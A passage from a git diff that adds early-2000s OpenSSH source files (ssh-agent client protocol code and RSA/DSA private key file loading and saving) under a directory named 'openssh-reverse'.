+ } + } + if (fail) { + fclose(f); + log("%s",buf); + restore_uid(); + return 0; + } + } + found_key = 0; + found = key_new(KEY_DSA); + + while (fgets(line, sizeof(line), f)) { + char *cp, *options = NULL; + linenum++; + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue; + + bits = key_read(found, &cp); + if (bits == 0) { + /* no key? check if there are options for this key */ + int quoted = 0; + options = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + /* Skip remaining whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + bits = key_read(found, &cp); + if (bits == 0) { + /* still no key? advance to next line*/ + continue; + } + } + if (key_equal(found, key) && + auth_parse_options(pw, options, linenum) == 1) { + found_key = 1; + debug("matching key found: file %s, line %ld", + file, linenum); + break; + } + } + restore_uid(); + fclose(f); + key_free(found); + return found_key; +} diff --git a/other/openssh-reverse/authfd.c b/other/openssh-reverse/authfd.c new file mode 100644 index 0000000..69fe2ae --- /dev/null +++ b/other/openssh-reverse/authfd.c @@ -0,0 +1,498 @@ +/* + * + * authfd.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 01:30:28 1995 ylo + * + * Functions for connecting the local authentication agent. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: authfd.c,v 1.21 2000/06/26 09:22:29 markus Exp $"); + +#include "ssh.h" +#include "rsa.h" +#include "authfd.h" +#include "buffer.h" +#include "bufaux.h" +#include "xmalloc.h" +#include "getput.h" + +#include + +/* helper */ +int ssh_agent_get_reply(AuthenticationConnection *auth); + +/* Returns the number of the authentication fd, or -1 if there is none. */ + +int +ssh_get_authentication_socket() +{ + const char *authsocket; + int sock; + struct sockaddr_un sunaddr; + + authsocket = getenv(SSH_AUTHSOCKET_ENV_NAME); + if (!authsocket) + return -1; + + sunaddr.sun_family = AF_UNIX; + strlcpy(sunaddr.sun_path, authsocket, sizeof(sunaddr.sun_path)); + + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + return -1; + + /* close on exec */ + if (fcntl(sock, F_SETFD, 1) == -1) { + close(sock); + return -1; + } + if (connect(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) { + close(sock); + return -1; + } + return sock; +} + +/* + * Closes the agent socket if it should be closed (depends on how it was + * obtained). The argument must have been returned by + * ssh_get_authentication_socket(). + */ + +void +ssh_close_authentication_socket(int sock) +{ + if (getenv(SSH_AUTHSOCKET_ENV_NAME)) + close(sock); +} + +/* + * Opens and connects a private socket for communication with the + * authentication agent. Returns the file descriptor (which must be + * shut down and closed by the caller when no longer needed). + * Returns NULL if an error occurred and the connection could not be + * opened. + */ + +AuthenticationConnection * +ssh_get_authentication_connection() +{ + AuthenticationConnection *auth; + int sock; + + sock = ssh_get_authentication_socket(); + + /* + * Fail if we couldn't obtain a connection. This happens if we + * exited due to a timeout. + */ + if (sock < 0) + return NULL; + + auth = xmalloc(sizeof(*auth)); + auth->fd = sock; + buffer_init(&auth->packet); + buffer_init(&auth->identities); + auth->howmany = 0; + + return auth; +} + +/* + * Closes the connection to the authentication agent and frees any associated + * memory. + */ + +void +ssh_close_authentication_connection(AuthenticationConnection *ac) +{ + buffer_free(&ac->packet); + buffer_free(&ac->identities); + close(ac->fd); + xfree(ac); +} + +/* + * Returns the first authentication identity held by the agent. + * Returns true if an identity is available, 0 otherwise. + * The caller must initialize the integers before the call, and free the + * comment after a successful call (before calling ssh_get_next_identity). + */ + +int +ssh_get_first_identity(AuthenticationConnection *auth, + BIGNUM *e, BIGNUM *n, char **comment) +{ + unsigned char msg[8192]; + int len, l; + + /* + * Send a message to the agent requesting for a list of the + * identities it can represent. + */ + msg[0] = 0; + msg[1] = 0; + msg[2] = 0; + msg[3] = 1; + msg[4] = SSH_AGENTC_REQUEST_RSA_IDENTITIES; + if (atomicio(write, auth->fd, msg, 5) != 5) { + error("write auth->fd: %.100s", strerror(errno)); + return 0; + } + /* Read the length of the response. XXX implement timeouts here. */ + len = 4; + while (len > 0) { + l = read(auth->fd, msg + 4 - len, len); + if (l <= 0) { + error("read auth->fd: %.100s", strerror(errno)); + return 0; + } + len -= l; + } + + /* + * Extract the length, and check it for sanity. (We cannot trust + * authentication agents). + */ + len = GET_32BIT(msg); + if (len < 1 || len > 256 * 1024) + fatal("Authentication reply message too long: %d\n", len); + + /* Read the packet itself. */ + buffer_clear(&auth->identities); + while (len > 0) { + l = len; + if (l > sizeof(msg)) + l = sizeof(msg); + l = read(auth->fd, msg, l); + if (l <= 0) + fatal("Incomplete authentication reply."); + buffer_append(&auth->identities, (char *) msg, l); + len -= l; + } + + /* Get message type, and verify that we got a proper answer. */ + buffer_get(&auth->identities, (char *) msg, 1); + if (msg[0] != SSH_AGENT_RSA_IDENTITIES_ANSWER) + fatal("Bad authentication reply message type: %d", msg[0]); + + /* Get the number of entries in the response and check it for sanity. */ + auth->howmany = buffer_get_int(&auth->identities); + if (auth->howmany > 1024) + fatal("Too many identities in authentication reply: %d\n", auth->howmany); + + /* Return the first entry (if any). */ + return ssh_get_next_identity(auth, e, n, comment); +} + +/* + * Returns the next authentication identity for the agent. Other functions + * can be called between this and ssh_get_first_identity or two calls of this + * function. This returns 0 if there are no more identities. The caller + * must free comment after a successful return. + */ + +int +ssh_get_next_identity(AuthenticationConnection *auth, + BIGNUM *e, BIGNUM *n, char **comment) +{ + unsigned int bits; + + /* Return failure if no more entries. */ + if (auth->howmany <= 0) + return 0; + + /* + * Get the next entry from the packet. These will abort with a fatal + * error if the packet is too short or contains corrupt data. + */ + bits = buffer_get_int(&auth->identities); + buffer_get_bignum(&auth->identities, e); + buffer_get_bignum(&auth->identities, n); + *comment = buffer_get_string(&auth->identities, NULL); + + if (bits != BN_num_bits(n)) + log("Warning: identity keysize mismatch: actual %d, announced %u", + BN_num_bits(n), bits); + + /* Decrement the number of remaining entries. */ + auth->howmany--; + + return 1; +} + +/* + * Generates a random challenge, sends it to the agent, and waits for + * response from the agent. Returns true (non-zero) if the agent gave the + * correct answer, zero otherwise. Response type selects the style of + * response desired, with 0 corresponding to protocol version 1.0 (no longer + * supported) and 1 corresponding to protocol version 1.1. + */ + +int +ssh_decrypt_challenge(AuthenticationConnection *auth, + BIGNUM* e, BIGNUM *n, BIGNUM *challenge, + unsigned char session_id[16], + unsigned int response_type, + unsigned char response[16]) +{ + Buffer buffer; + unsigned char buf[8192]; + int len, l, i; + + /* Response type 0 is no longer supported. */ + if (response_type == 0) + fatal("Compatibility with ssh protocol version 1.0 no longer supported."); + + /* Format a message to the agent. */ + buf[0] = SSH_AGENTC_RSA_CHALLENGE; + buffer_init(&buffer); + buffer_append(&buffer, (char *) buf, 1); + buffer_put_int(&buffer, BN_num_bits(n)); + buffer_put_bignum(&buffer, e); + buffer_put_bignum(&buffer, n); + buffer_put_bignum(&buffer, challenge); + buffer_append(&buffer, (char *) session_id, 16); + buffer_put_int(&buffer, response_type); + + /* Get the length of the message, and format it in the buffer. */ + len = buffer_len(&buffer); + PUT_32BIT(buf, len); + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 4) != 4 || + atomicio(write, auth->fd, buffer_ptr(&buffer), + buffer_len(&buffer)) != buffer_len(&buffer)) { + error("Error writing to authentication socket."); +error_cleanup: + buffer_free(&buffer); + return 0; + } + /* + * Wait for response from the agent. First read the length of the + * response packet. + */ + len = 4; + while (len > 0) { + l = read(auth->fd, buf + 4 - len, len); + if (l <= 0) { + error("Error reading response length from authentication socket."); + goto error_cleanup; + } + len -= l; + } + + /* Extract the length, and check it for sanity. */ + len = GET_32BIT(buf); + if (len > 256 * 1024) + fatal("Authentication response too long: %d", len); + + /* Read the rest of the response in tothe buffer. */ + buffer_clear(&buffer); + while (len > 0) { + l = len; + if (l > sizeof(buf)) + l = sizeof(buf); + l = read(auth->fd, buf, l); + if (l <= 0) { + error("Error reading response from authentication socket."); + goto error_cleanup; + } + buffer_append(&buffer, (char *) buf, l); + len -= l; + } + + /* Get the type of the packet. */ + buffer_get(&buffer, (char *) buf, 1); + + /* Check for agent failure message. */ + if (buf[0] == SSH_AGENT_FAILURE) { + log("Agent admitted failure to authenticate using the key."); + goto error_cleanup; + } + /* Now it must be an authentication response packet. */ + if (buf[0] != SSH_AGENT_RSA_RESPONSE) + fatal("Bad authentication response: %d", buf[0]); + + /* + * Get the response from the packet. This will abort with a fatal + * error if the packet is corrupt. + */ + for (i = 0; i < 16; i++) + response[i] = buffer_get_char(&buffer); + + /* The buffer containing the packet is no longer needed. */ + buffer_free(&buffer); + + /* Correct answer. */ + return 1; +} + +/* + * Adds an identity to the authentication server. This call is not meant to + * be used by normal applications. + */ + +int +ssh_add_identity(AuthenticationConnection *auth, + RSA * key, const char *comment) +{ + Buffer buffer; + unsigned char buf[8192]; + int len; + + /* Format a message to the agent. */ + buffer_init(&buffer); + buffer_put_char(&buffer, SSH_AGENTC_ADD_RSA_IDENTITY); + buffer_put_int(&buffer, BN_num_bits(key->n)); + buffer_put_bignum(&buffer, key->n); + buffer_put_bignum(&buffer, key->e); + buffer_put_bignum(&buffer, key->d); + /* To keep within the protocol: p < q for ssh. in SSL p > q */ + buffer_put_bignum(&buffer, key->iqmp); /* ssh key->u */ + buffer_put_bignum(&buffer, key->q); /* ssh key->p, SSL key->q */ + buffer_put_bignum(&buffer, key->p); /* ssh key->q, SSL key->p */ + buffer_put_string(&buffer, comment, strlen(comment)); + + /* Get the length of the message, and format it in the buffer. */ + len = buffer_len(&buffer); + PUT_32BIT(buf, len); + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 4) != 4 || + atomicio(write, auth->fd, buffer_ptr(&buffer), + buffer_len(&buffer)) != buffer_len(&buffer)) { + error("Error writing to authentication socket."); + buffer_free(&buffer); + return 0; + } + buffer_free(&buffer); + return ssh_agent_get_reply(auth); +} + +/* + * Removes an identity from the authentication server. This call is not + * meant to be used by normal applications. + */ + +int +ssh_remove_identity(AuthenticationConnection *auth, RSA *key) +{ + Buffer buffer; + unsigned char buf[5]; + int len; + + /* Format a message to the agent. */ + buffer_init(&buffer); + buffer_put_char(&buffer, SSH_AGENTC_REMOVE_RSA_IDENTITY); + buffer_put_int(&buffer, BN_num_bits(key->n)); + buffer_put_bignum(&buffer, key->e); + buffer_put_bignum(&buffer, key->n); + + /* Get the length of the message, and format it in the buffer. */ + len = buffer_len(&buffer); + PUT_32BIT(buf, len); + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 4) != 4 || + atomicio(write, auth->fd, buffer_ptr(&buffer), + buffer_len(&buffer)) != buffer_len(&buffer)) { + error("Error writing to authentication socket."); + buffer_free(&buffer); + return 0; + } + buffer_free(&buffer); + return ssh_agent_get_reply(auth); +} + +/* + * Removes all identities from the agent. This call is not meant to be used + * by normal applications. + */ + +int +ssh_remove_all_identities(AuthenticationConnection *auth) +{ + unsigned char buf[5]; + + /* Get the length of the message, and format it in the buffer. */ + PUT_32BIT(buf, 1); + buf[4] = SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES; + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 5) != 5) { + error("Error writing to authentication socket."); + return 0; + } + return ssh_agent_get_reply(auth); +} + +/* + * Read for reply from agent. returns 1 for success, 0 on error + */ + +int +ssh_agent_get_reply(AuthenticationConnection *auth) +{ + Buffer buffer; + unsigned char buf[8192]; + int len, l, type; + + /* + * Wait for response from the agent. First read the length of the + * response packet. + */ + len = 4; + while (len > 0) { + l = read(auth->fd, buf + 4 - len, len); + if (l <= 0) { + error("Error reading response length from authentication socket."); + buffer_free(&buffer); + return 0; + } + len -= l; + } + + /* Extract the length, and check it for sanity. */ + len = GET_32BIT(buf); + if (len > 256 * 1024) + fatal("Response from agent too long: %d", len); + + /* Read the rest of the response in to the buffer. */ + buffer_init(&buffer); + while (len > 0) { + l = len; + if (l > sizeof(buf)) + l = sizeof(buf); + l = read(auth->fd, buf, l); + if (l <= 0) { + error("Error reading response from authentication socket."); + buffer_free(&buffer); + return 0; + } + buffer_append(&buffer, (char *) buf, l); + len -= l; + } + + /* Get the type of the packet. */ + type = buffer_get_char(&buffer); + buffer_free(&buffer); + switch (type) { + case SSH_AGENT_FAILURE: + return 0; + case SSH_AGENT_SUCCESS: + return 1; + default: + fatal("Bad response from authentication agent: %d", type); + } + /* NOTREACHED */ + return 0; +} diff --git a/other/openssh-reverse/authfd.h b/other/openssh-reverse/authfd.h new file mode 100644 index 0000000..d7ff4be --- /dev/null +++ b/other/openssh-reverse/authfd.h @@ -0,0 +1,119 @@ +/* + * + * authfd.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 01:17:41 1995 ylo + * + * Functions to interface with the SSH_AUTHENTICATION_FD socket. + * + */ + +/* RCSID("$OpenBSD: authfd.h,v 1.8 2000/06/20 01:39:38 markus Exp $"); */ + +#ifndef AUTHFD_H +#define AUTHFD_H + +#include "buffer.h" + +/* Messages for the authentication agent connection. */ +#define SSH_AGENTC_REQUEST_RSA_IDENTITIES 1 +#define SSH_AGENT_RSA_IDENTITIES_ANSWER 2 +#define SSH_AGENTC_RSA_CHALLENGE 3 +#define SSH_AGENT_RSA_RESPONSE 4 +#define SSH_AGENT_FAILURE 5 +#define SSH_AGENT_SUCCESS 6 +#define SSH_AGENTC_ADD_RSA_IDENTITY 7 +#define SSH_AGENTC_REMOVE_RSA_IDENTITY 8 +#define SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES 9 + +typedef struct { + int fd; + Buffer packet; + Buffer identities; + int howmany; +} AuthenticationConnection; +/* Returns the number of the authentication fd, or -1 if there is none. */ +int ssh_get_authentication_socket(); + +/* + * This should be called for any descriptor returned by + * ssh_get_authentication_socket(). Depending on the way the descriptor was + * obtained, this may close the descriptor. + */ +void ssh_close_authentication_socket(int authfd); + +/* + * Opens and connects a private socket for communication with the + * authentication agent. Returns NULL if an error occurred and the + * connection could not be opened. The connection should be closed by the + * caller by calling ssh_close_authentication_connection(). + */ +AuthenticationConnection *ssh_get_authentication_connection(); + +/* + * Closes the connection to the authentication agent and frees any associated + * memory. + */ +void ssh_close_authentication_connection(AuthenticationConnection * ac); + +/* + * Returns the first authentication identity held by the agent. Returns true + * if an identity is available, 0 otherwise. The caller must initialize the + * integers before the call, and free the comment after a successful call + * (before calling ssh_get_next_identity). + */ +int +ssh_get_first_identity(AuthenticationConnection * connection, + BIGNUM * e, BIGNUM * n, char **comment); + +/* + * Returns the next authentication identity for the agent. Other functions + * can be called between this and ssh_get_first_identity or two calls of this + * function. This returns 0 if there are no more identities. The caller + * must free comment after a successful return. + */ +int +ssh_get_next_identity(AuthenticationConnection * connection, + BIGNUM * e, BIGNUM * n, char **comment); + +/* Requests the agent to decrypt the given challenge. Returns true if + the agent claims it was able to decrypt it. */ +int +ssh_decrypt_challenge(AuthenticationConnection * auth, + BIGNUM * e, BIGNUM * n, BIGNUM * challenge, + unsigned char session_id[16], + unsigned int response_type, + unsigned char response[16]); + +/* + * Adds an identity to the authentication server. This call is not meant to + * be used by normal applications. This returns true if the identity was + * successfully added. + */ +int +ssh_add_identity(AuthenticationConnection * connection, RSA * key, + const char *comment); + +/* + * Removes the identity from the authentication server. This call is not + * meant to be used by normal applications. This returns true if the + * identity was successfully added. + */ +int ssh_remove_identity(AuthenticationConnection * connection, RSA * key); + +/* + * Removes all identities from the authentication agent. This call is not + * meant to be used by normal applications. This returns true if the + * operation was successful. + */ +int ssh_remove_all_identities(AuthenticationConnection * connection); + +/* Closes the connection to the authentication agent. */ +void ssh_close_authentication(AuthenticationConnection * connection); + +#endif /* AUTHFD_H */ diff --git a/other/openssh-reverse/authfile.c b/other/openssh-reverse/authfile.c new file mode 100644 index 0000000..71c4a5d --- /dev/null +++ b/other/openssh-reverse/authfile.c @@ -0,0 +1,493 @@ +/* + * + * authfile.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 27 03:52:05 1995 ylo + * + * This file contains functions for reading and writing identity files, and + * for reading the passphrase from the user. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: authfile.c,v 1.17 2000/06/20 01:39:38 markus Exp $"); + +#include +#include +#include +#include +#include + +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "cipher.h" +#include "ssh.h" +#include "key.h" + +/* Version identification string for identity files. */ +#define AUTHFILE_ID_STRING "SSH PRIVATE KEY FILE FORMAT 1.1\n" + +/* + * Saves the authentication (private) key in a file, encrypting it with + * passphrase. The identification of the file (lowest 64 bits of n) will + * precede the key to provide identification of the key without needing a + * passphrase. + */ + +int +save_private_key_rsa(const char *filename, const char *passphrase, + RSA *key, const char *comment) +{ + Buffer buffer, encrypted; + char buf[100], *cp; + int fd, i; + CipherContext cipher; + int cipher_type; + u_int32_t rand; + + /* + * If the passphrase is empty, use SSH_CIPHER_NONE to ease converting + * to another cipher; otherwise use SSH_AUTHFILE_CIPHER. + */ + if (strcmp(passphrase, "") == 0) + cipher_type = SSH_CIPHER_NONE; + else + cipher_type = SSH_AUTHFILE_CIPHER; + + /* This buffer is used to built the secret part of the private key. */ + buffer_init(&buffer); + + /* Put checkbytes for checking passphrase validity. */ + rand = arc4random(); + buf[0] = rand & 0xff; + buf[1] = (rand >> 8) & 0xff; + buf[2] = buf[0]; + buf[3] = buf[1]; + buffer_append(&buffer, buf, 4); + + /* + * Store the private key (n and e will not be stored because they + * will be stored in plain text, and storing them also in encrypted + * format would just give known plaintext). + */ + buffer_put_bignum(&buffer, key->d); + buffer_put_bignum(&buffer, key->iqmp); + buffer_put_bignum(&buffer, key->q); /* reverse from SSL p */ + buffer_put_bignum(&buffer, key->p); /* reverse from SSL q */ + + /* Pad the part to be encrypted until its size is a multiple of 8. */ + while (buffer_len(&buffer) % 8 != 0) + buffer_put_char(&buffer, 0); + + /* This buffer will be used to contain the data in the file. */ + buffer_init(&encrypted); + + /* First store keyfile id string. */ + cp = AUTHFILE_ID_STRING; + for (i = 0; cp[i]; i++) + buffer_put_char(&encrypted, cp[i]); + buffer_put_char(&encrypted, 0); + + /* Store cipher type. */ + buffer_put_char(&encrypted, cipher_type); + buffer_put_int(&encrypted, 0); /* For future extension */ + + /* Store public key. This will be in plain text. */ + buffer_put_int(&encrypted, BN_num_bits(key->n)); + buffer_put_bignum(&encrypted, key->n); + buffer_put_bignum(&encrypted, key->e); + buffer_put_string(&encrypted, comment, strlen(comment)); + + /* Allocate space for the private part of the key in the buffer. */ + buffer_append_space(&encrypted, &cp, buffer_len(&buffer)); + + cipher_set_key_string(&cipher, cipher_type, passphrase); + cipher_encrypt(&cipher, (unsigned char *) cp, + (unsigned char *) buffer_ptr(&buffer), + buffer_len(&buffer)); + memset(&cipher, 0, sizeof(cipher)); + + /* Destroy temporary data. */ + memset(buf, 0, sizeof(buf)); + buffer_free(&buffer); + + fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) + return 0; + if (write(fd, buffer_ptr(&encrypted), buffer_len(&encrypted)) != + buffer_len(&encrypted)) { + debug("Write to key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&encrypted); + close(fd); + remove(filename); + return 0; + } + close(fd); + buffer_free(&encrypted); + return 1; +} + +/* save DSA key in OpenSSL PEM format */ + +int +save_private_key_dsa(const char *filename, const char *passphrase, + DSA *dsa, const char *comment) +{ + FILE *fp; + int fd; + int success = 1; + int len = strlen(passphrase); + + if (len > 0 && len <= 4) { + error("passphrase too short: %d bytes", len); + errno = 0; + return 0; + } + fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { + debug("open %s failed", filename); + return 0; + } + fp = fdopen(fd, "w"); + if (fp == NULL ) { + debug("fdopen %s failed", filename); + close(fd); + return 0; + } + if (len > 0) { + if (!PEM_write_DSAPrivateKey(fp, dsa, EVP_des_ede3_cbc(), + (char *)passphrase, strlen(passphrase), NULL, NULL)) + success = 0; + } else { + if (!PEM_write_DSAPrivateKey(fp, dsa, NULL, + NULL, 0, NULL, NULL)) + success = 0; + } + fclose(fp); + return success; +} + +int +save_private_key(const char *filename, const char *passphrase, Key *key, + const char *comment) +{ + switch (key->type) { + case KEY_RSA: + return save_private_key_rsa(filename, passphrase, key->rsa, comment); + break; + case KEY_DSA: + return save_private_key_dsa(filename, passphrase, key->dsa, comment); + break; + default: + break; + } + return 0; +} + +/* + * Loads the public part of the key file. Returns 0 if an error was + * encountered (the file does not exist or is not readable), and non-zero + * otherwise. + */ + +int +load_public_key_rsa(const char *filename, RSA * pub, char **comment_return) +{ + int fd, i; + off_t len; + Buffer buffer; + char *cp; + + fd = open(filename, O_RDONLY); + if (fd < 0) + return 0; + len = lseek(fd, (off_t) 0, SEEK_END); + lseek(fd, (off_t) 0, SEEK_SET); + + buffer_init(&buffer); + buffer_append_space(&buffer, &cp, len); + + if (read(fd, cp, (size_t) len) != (size_t) len) { + debug("Read from key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&buffer); + close(fd); + return 0; + } + close(fd); + + /* Check that it is at least big enought to contain the ID string. */ + if (len < strlen(AUTHFILE_ID_STRING) + 1) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* + * Make sure it begins with the id string. Consume the id string + * from the buffer. + */ + for (i = 0; i < (unsigned int) strlen(AUTHFILE_ID_STRING) + 1; i++) + if (buffer_get_char(&buffer) != (u_char) AUTHFILE_ID_STRING[i]) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* Skip cipher type and reserved data. */ + (void) buffer_get_char(&buffer); /* cipher type */ + (void) buffer_get_int(&buffer); /* reserved */ + + /* Read the public key from the buffer. */ + buffer_get_int(&buffer); + /* XXX alloc */ + if (pub->n == NULL) + pub->n = BN_new(); + buffer_get_bignum(&buffer, pub->n); + /* XXX alloc */ + if (pub->e == NULL) + pub->e = BN_new(); + buffer_get_bignum(&buffer, pub->e); + if (comment_return) + *comment_return = buffer_get_string(&buffer, NULL); + /* The encrypted private part is not parsed by this function. */ + + buffer_free(&buffer); + + return 1; +} + +int +load_public_key(const char *filename, Key * key, char **comment_return) +{ + switch (key->type) { + case KEY_RSA: + return load_public_key_rsa(filename, key->rsa, comment_return); + break; + case KEY_DSA: + default: + break; + } + return 0; +} + +/* + * Loads the private key from the file. Returns 0 if an error is encountered + * (file does not exist or is not readable, or passphrase is bad). This + * initializes the private key. + * Assumes we are called under uid of the owner of the file. + */ + +int +load_private_key_rsa(int fd, const char *filename, + const char *passphrase, RSA * prv, char **comment_return) +{ + int i, check1, check2, cipher_type; + off_t len; + Buffer buffer, decrypted; + char *cp; + CipherContext cipher; + BN_CTX *ctx; + BIGNUM *aux; + + len = lseek(fd, (off_t) 0, SEEK_END); + lseek(fd, (off_t) 0, SEEK_SET); + + buffer_init(&buffer); + buffer_append_space(&buffer, &cp, len); + + if (read(fd, cp, (size_t) len) != (size_t) len) { + debug("Read from key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&buffer); + close(fd); + return 0; + } + close(fd); + + /* Check that it is at least big enought to contain the ID string. */ + if (len < strlen(AUTHFILE_ID_STRING) + 1) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* + * Make sure it begins with the id string. Consume the id string + * from the buffer. + */ + for (i = 0; i < (unsigned int) strlen(AUTHFILE_ID_STRING) + 1; i++) + if (buffer_get_char(&buffer) != (unsigned char) AUTHFILE_ID_STRING[i]) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* Read cipher type. */ + cipher_type = buffer_get_char(&buffer); + (void) buffer_get_int(&buffer); /* Reserved data. */ + + /* Read the public key from the buffer. */ + buffer_get_int(&buffer); + prv->n = BN_new(); + buffer_get_bignum(&buffer, prv->n); + prv->e = BN_new(); + buffer_get_bignum(&buffer, prv->e); + if (comment_return) + *comment_return = buffer_get_string(&buffer, NULL); + else + xfree(buffer_get_string(&buffer, NULL)); + + /* Check that it is a supported cipher. */ + if (((cipher_mask1() | SSH_CIPHER_NONE | SSH_AUTHFILE_CIPHER) & + (1 << cipher_type)) == 0) { + debug("Unsupported cipher %.100s used in key file %.200s.", + cipher_name(cipher_type), filename); + buffer_free(&buffer); + goto fail; + } + /* Initialize space for decrypted data. */ + buffer_init(&decrypted); + buffer_append_space(&decrypted, &cp, buffer_len(&buffer)); + + /* Rest of the buffer is encrypted. Decrypt it using the passphrase. */ + cipher_set_key_string(&cipher, cipher_type, passphrase); + cipher_decrypt(&cipher, (unsigned char *) cp, + (unsigned char *) buffer_ptr(&buffer), + buffer_len(&buffer)); + + buffer_free(&buffer); + + check1 = buffer_get_char(&decrypted); + check2 = buffer_get_char(&decrypted); + if (check1 != buffer_get_char(&decrypted) || + check2 != buffer_get_char(&decrypted)) { + if (strcmp(passphrase, "") != 0) + debug("Bad passphrase supplied for key file %.200s.", filename); + /* Bad passphrase. */ + buffer_free(&decrypted); +fail: + BN_clear_free(prv->n); + prv->n = NULL; + BN_clear_free(prv->e); + prv->e = NULL; + if (comment_return) + xfree(*comment_return); + return 0; + } + /* Read the rest of the private key. */ + prv->d = BN_new(); + buffer_get_bignum(&decrypted, prv->d); + prv->iqmp = BN_new(); + buffer_get_bignum(&decrypted, prv->iqmp); /* u */ + /* in SSL and SSH p and q are exchanged */ + prv->q = BN_new(); + buffer_get_bignum(&decrypted, prv->q); /* p */ + prv->p = BN_new(); + buffer_get_bignum(&decrypted, prv->p); /* q */ + + ctx = BN_CTX_new(); + aux = BN_new(); + + BN_sub(aux, prv->q, BN_value_one()); + prv->dmq1 = BN_new(); + BN_mod(prv->dmq1, prv->d, aux, ctx); + + BN_sub(aux, prv->p, BN_value_one()); + prv->dmp1 = BN_new(); + BN_mod(prv->dmp1, prv->d, aux, ctx); + + BN_clear_free(aux); + BN_CTX_free(ctx); + + buffer_free(&decrypted); + + return 1; +} + +int +load_private_key_dsa(int fd, const char *passphrase, Key *k, char **comment_return) +{ + DSA *dsa; + BIO *in; + FILE *fp; + + in = BIO_new(BIO_s_file()); + if (in == NULL) { + error("BIO_new failed"); + return 0; + } + fp = fdopen(fd, "r"); + if (fp == NULL) { + error("fdopen failed"); + return 0; + } + BIO_set_fp(in, fp, BIO_NOCLOSE); + dsa = PEM_read_bio_DSAPrivateKey(in, NULL, NULL, (char *)passphrase); + if (dsa == NULL) { + debug("PEM_read_bio_DSAPrivateKey failed"); + } else { + /* replace k->dsa with loaded key */ + DSA_free(k->dsa); + k->dsa = dsa; + } + BIO_free(in); + fclose(fp); + if (comment_return) + *comment_return = xstrdup("dsa w/o comment"); + debug("read DSA private key done"); +#ifdef DEBUG_DSS + DSA_print_fp(stderr, dsa, 8); +#endif + return dsa != NULL ? 1 : 0; +} + +int +load_private_key(const char *filename, const char *passphrase, Key *key, + char **comment_return) +{ + int fd; + int ret = 0; + struct stat st; + + fd = open(filename, O_RDONLY); + if (fd < 0) + return 0; + + /* check owner and modes */ + if (fstat(fd, &st) < 0 || + (st.st_uid != 0 && st.st_uid != getuid()) || + (st.st_mode & 077) != 0) { + close(fd); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("@ WARNING: UNPROTECTED PRIVATE KEY FILE! @"); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("Bad ownership or mode(0%3.3o) for '%s'.", + st.st_mode & 0777, filename); + error("It is recommended that your private key files are NOT accessible by others."); + return 0; + } + switch (key->type) { + case KEY_RSA: + if (key->rsa->e != NULL) { + BN_clear_free(key->rsa->e); + key->rsa->e = NULL; + } + if (key->rsa->n != NULL) { + BN_clear_free(key->rsa->n); + key->rsa->n = NULL; + } + ret = load_private_key_rsa(fd, filename, passphrase, + key->rsa, comment_return); + break; + case KEY_DSA: + ret = load_private_key_dsa(fd, passphrase, key, comment_return); + default: + break; + } + close(fd); + return ret; +} diff --git a/other/openssh-reverse/authfile.h b/other/openssh-reverse/authfile.h new file mode 100644 index 0000000..afec27d --- /dev/null +++ b/other/openssh-reverse/authfile.h @@ -0,0 +1,36 @@ +#ifndef AUTHFILE_H +#define AUTHFILE_H + +/* + * Saves the authentication (private) key in a file, encrypting it with + * passphrase. + * For RSA keys: The identification of the file (lowest 64 bits of n) + * will precede the key to provide identification of the key without + * needing a passphrase. + */ +int +save_private_key(const char *filename, const char *passphrase, + Key * private_key, const char *comment); + +/* + * Loads the public part of the key file (public key and comment). Returns 0 + * if an error occurred; zero if the public key was successfully read. The + * comment of the key is returned in comment_return if it is non-NULL; the + * caller must free the value with xfree. + */ +int +load_public_key(const char *filename, Key * pub, + char **comment_return); + +/* + * Loads the private key from the file. Returns 0 if an error is encountered + * (file does not exist or is not readable, or passphrase is bad). This + * initializes the private key. The comment of the key is returned in + * comment_return if it is non-NULL; the caller must free the value with + * xfree. + */ +int +load_private_key(const char *filename, const char *passphrase, + Key * private_key, char **comment_return); + +#endif diff --git a/other/openssh-reverse/aux.c b/other/openssh-reverse/aux.c new file mode 100644 index 0000000..709e245 --- /dev/null +++ b/other/openssh-reverse/aux.c @@ -0,0 +1,71 @@ +#include "includes.h" +RCSID("$OpenBSD: aux.c,v 1.4 2000/07/13 22:53:21 provos Exp 